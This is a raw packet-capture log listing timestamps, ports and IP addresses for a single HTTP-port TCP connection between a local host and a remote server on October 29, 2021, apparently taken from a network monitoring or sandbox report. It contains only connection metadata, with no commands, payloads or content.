Oct 29, 2021 20:30:49.794193983 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.794202089 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.794233084 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.794274092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.794286013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.794313908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.794346094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.794364929 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829216003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829271078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829310894 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829349041 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829355001 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829385996 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829387903 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829430103 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829457045 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829469919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829514980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829530001 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829551935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829591990 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829598904 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829631090 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829679012 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829695940 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829718113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829756975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829770088 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829797029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829837084 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829849005 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829874039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829912901 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829925060 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.829945087 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.829992056 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863082886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863111019 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863132000 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863156080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863178015 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863204956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863210917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863228083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863251925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863259077 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863272905 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863274097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863289118 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863296986 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863317966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863337994 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863348961 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863360882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863383055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863387108 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863404989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863425970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863430977 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863447905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863468885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863470078 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.863487005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.863512993 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897121906 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897161007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897186995 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897212982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897241116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897265911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897294044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897313118 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897321939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897349119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897353888 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897363901 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897371054 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897375107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897403002 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897417068 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897432089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897459984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897463083 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897485018 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897510052 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897511959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897538900 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897564888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897566080 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897593021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897614956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.897619009 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.897669077 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.931794882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.931843996 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.931881905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.931910038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.931998968 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932027102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932030916 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932065964 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932104111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932109118 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932145119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932182074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932187080 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932221889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932261944 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932322025 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932358980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932399035 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932400942 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932440042 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932478905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932480097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932521105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932559967 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932559967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932596922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932635069 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.932636023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932667017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.932706118 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965018034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965085983 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965140104 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965178967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965231895 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965229988 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965260983 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965286016 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965332031 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965341091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965377092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965420961 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965425014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965478897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965526104 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965528965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965567112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965611935 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965615034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965671062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965723991 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965729952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965784073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965827942 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965840101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965888023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965928078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.965933084 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.965982914 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.966027021 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.966032982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.966084003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.966128111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.966160059 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.966182947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.966224909 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.966233969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.966269970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.966309071 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998181105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998208046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998229980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998245001 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998331070 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998344898 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998354912 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998375893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998390913 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998397112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998414040 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998420000 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998440981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998440981 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998482943 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998500109 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998625040 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998650074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998671055 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998671055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998688936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998704910 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998826981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998848915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998868942 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.998869896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998892069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.998903990 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.999003887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.999047995 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.999053001 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.999064922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.999099016 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.030407906 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030441046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030466080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030493021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030518055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030541897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030560970 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.030566931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030594110 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030621052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030642033 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.030668974 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030673027 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.030695915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030719995 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.030721903 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030746937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030766010 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.030776024 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.030832052 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031014919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031044006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031100035 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031168938 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031188965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031213045 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031239033 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031241894 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031270981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031290054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031292915 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031322956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031339884 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031349897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031375885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031388998 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031394005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031419039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031444073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031439066 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031470060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031488895 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.031497955 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.031552076 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.062380075 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.065622091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065669060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065721035 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065762043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065768003 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.065803051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065819025 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.065844059 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065871954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065892935 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.065911055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065949917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.065953016 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.065987110 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066015005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066030025 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066051960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066091061 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066092968 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066132069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066157103 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066174984 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066195011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066232920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066236973 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066270113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066296101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066312075 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066334009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066373110 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066374063 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066411972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066437006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066454887 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066476107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066514015 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066519976 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.066551924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066580057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.066593885 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.097949028 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098009109 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098062038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098071098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098114967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098126888 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098166943 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098216057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098222971 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098275900 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098334074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098345995 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098387003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098429918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098440886 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098501921 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098553896 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098556042 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098608971 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098647118 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098661900 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098697901 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098748922 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098751068 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098799944 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098850012 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.098850965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098911047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098969936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.098973036 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.099021912 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.099073887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.099075079 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.099126101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.099185944 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.099186897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.099246025 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.099298954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.099322081 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.099340916 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.099401951 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.141012907 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.141062975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.141103029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.141153097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.141201973 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.141211033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.141232967 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.141253948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.141293049 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:50.141314030 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:50.141331911 CEST	80	49812	91.219.236.97	192.168.2.7
